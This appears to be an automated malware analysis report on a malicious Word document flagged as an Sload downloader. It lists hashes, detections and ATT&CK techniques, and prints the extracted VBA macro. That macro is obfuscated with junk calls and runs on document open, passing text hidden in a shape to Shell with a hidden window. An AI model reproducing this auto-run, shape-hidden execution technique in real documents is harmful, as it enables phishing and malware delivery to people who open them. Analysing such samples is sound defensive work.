Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a3c1bb4b84f886fb…

MALICIOUS

Office (OLE)

66.2 KB Created: 2018-11-07 16:31:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: c3e16bb49c3a936294978b51de2c237c SHA-1: bab6f0b241a821d5e7b6a9dcfccac5e2d87c5408 SHA-256: a3c1bb4b84f886fb46b5d61f1cbf1976ecbdaaaa76a326c77ae23108f1d139d1
122 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing VBA macros, specifically a Document_Open macro, which is a common technique for executing malicious code upon opening. The ClamAV detection name 'Doc.Downloader.Sload-6743946-0' strongly suggests the macro's purpose is to download and execute a secondary payload. The VBA code, while obfuscated, uses the Shell function to execute commands, further supporting the downloader functionality.

Heuristics 4

  • ClamAV: Doc.Downloader.Sload-6743946-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Sload-6743946-0
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 953 bytes
SHA-256: d9b6debccf44e7d1461294404dde9600381bf3ca8164b4110d55304e6b5c3281
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "IVXQSkJuIlz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_open()
On Error Resume Next
   FormatDateTime (qNKGA + oKrcN + obEwT + zuaTX + jZjQK + jETPqD + qGUaJ + mREItT)
   FormatDateTime jzfwWq + WblXAB * IBZkAj + EdURWl - iQnwj + zFoQU + aUfjC + vqIDj
   FormatDateTime LiVKhA + nrKwb + zwDNI + nGIZu - (Iautb + idoqSj + jTImcU + brvsFq)
   FormatNumber joCEbs + ZJuQc / zdIjT + YwiUjF
Const SVwNjcHjU = 936988130 - 936988130
Shell@ Shapes(iColGl + oNIlKtwr + 1 + RdOnMlHC + UWzSB).TextFrame.TextRange.Text + HGfViAdU + zNCjc, SVwNjcHjU
   Error rMCrq + iEovf + NpjCw + ljWidl / taJou + sBmap + DREBR + EzBFWN
   FormatDateTime (oqnrJ + RYwbUP + anQaOu + vZhiEo * (nQoEv + qjBNvR))
End Sub

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